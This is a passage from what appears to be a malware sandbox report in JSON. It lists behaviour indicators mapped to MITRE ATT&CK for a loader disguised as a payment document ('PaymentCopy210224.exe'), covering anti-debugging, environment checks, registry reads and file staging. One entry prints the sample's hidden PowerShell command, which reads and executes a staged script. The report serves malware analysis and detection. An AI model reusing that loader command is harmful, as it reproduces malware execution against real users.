\"ExitWindows\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-189","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4604848'}\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4604656'}\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4604784'}\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '1979383808', 'hResInfo': '7341552'}\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4604736'}\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4604800'}\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to remove a directory","description":"\"PaymentCopy210224.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\nsl97DC.tmp\\ (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfd825.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\03CIMQRCLK6G48CIZLE4.temp\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 5476)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import cryptographic keys into a CSP","description":"$26","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"\"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"40f73400\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.881306199916773","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"PaymentCopy210224.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"PaymentCopy210224.exe\" called \"IsWow64Process\" with parameter \"5244\" - (UID: 00000000-00005244)\n \"nsCCE1.tmp\" called \"IsWow64Process\" with parameter \"5648\" - (UID: 00000000-00005648)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"5476\" - (UID: 00000000-00005476)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005476)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"PaymentCopy210224.exe\" called \"GetWindowTextW\" (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"GetWindowTextW\" with parameter \"&Close\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"GetWindowTextW\" with parameter \"Cancel\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"GetWindowTextW\" with parameter \"Specialcomputer\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"GetWindowTextW\" with parameter \"Show &details\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"PaymentCopy210224.exe\" called \"GetActiveWindow\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"PaymentCopy210224.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"PaymentCopy210224.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00005244)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00005476)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"PaymentCopy210224.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005244)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00005476)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005476)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"file/memory contains long string with (Indicator: \"IsWow64Process\"; File: \"nsExec.dll\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005244.00000000.65615.0040A000.00000004.mdmp, 00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"PaymentCopy210224.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"PaymentCopy210224.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"nsCCE1.tmp\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"nsCCE1.tmp\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsA\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"ExpandEnvironmentStringsA\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00005244.00000000.65615.0040A000.00000004.mdmp, 00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"nsExec.dll\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"PaymentCopy210224.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"PaymentCopy210224.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYMENTCOPY210224.EXE\")\n \"PaymentCopy210224.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYMENTCOPY210224.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\03CIMQRCLK6G48CIZLE4.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\03CIMQRCLK6G48CIZLE4.temp\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfd825.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"PaymentCopy210224.exe\" called \"CopyFileA\" to copy %TEMP%\\nsl97DC.tmp\\nsExec.dll to new location %TEMP%\\nsl97DC.tmp\\nsCCE1.tmp (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$29","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"PaymentCopy210224.exe\" called \"CreateProcessA\" with parameter \"\"%WINDIR%\\resources\\vermicular.spa\"\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"CreateProcessA\" with parameter \"\"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\collinsia\\sororal.sup\"\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\akkrediteringernes.akh\"\" - (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\nsl97DC.tmp\\nsCCE1.tmp\" powershell.exe -windowstyle hidden $tools7 = cat 'C:\\Users\\%OSUSER%\\AppData\\Local\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"powersh\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"PaymentCopy210224.exe\" called \"NtCreateNamedPipeFile\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"\"PaymentCopy210224.exe\" called \"MoveFileA\" with parameter %USERPROFILE%\\Music\\sciamachies\\svendenes.sla & %WINDIR%\\resources\\0409\\Rebbes\\undramatizeds.Dyn (UID: 00000000-00005244)\n \"PaymentCopy210224.exe\" called \"MoveFileA\" with parameter %USERPROFILE%\\Pictures\\rigoristers\\rygsjle.Dat & %WINDIR%\\resources\\rendyrkninger.Sub (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"nsExec.dll\" contains export function called \"Exec\" at ordinal 1\n \"nsExec.dll\" contains export function called \"ExecToLog\" at ordinal 2\n \"nsExec.dll\" contains export function called \"ExecToStack\" at ordinal 3","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00005244.00000000.65615.002C0000.00000004.mdmp\n \":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00005244.00000000.65615.002C0000.00000004.mdmp\n 00000000-00005244.00000001.66902.002C0000.00000004.mdmp\n \"sers\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \"sers\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00005244.00000001.66902.002C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n \"Global\\CLR_PerfMon_WrapMutex\"\n \"_SHuassist.mtx\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$2c","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Payment Copy 210224.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"PaymentCopy210224.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 69CE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\9f895c66454577eff9c77442d0c84f71\\mscorlib.ni.dll\" at 63E50000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"PaymentCopy210224.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76490000\n \"nsCCE1.tmp\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76490000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76490000","origin":"Loaded 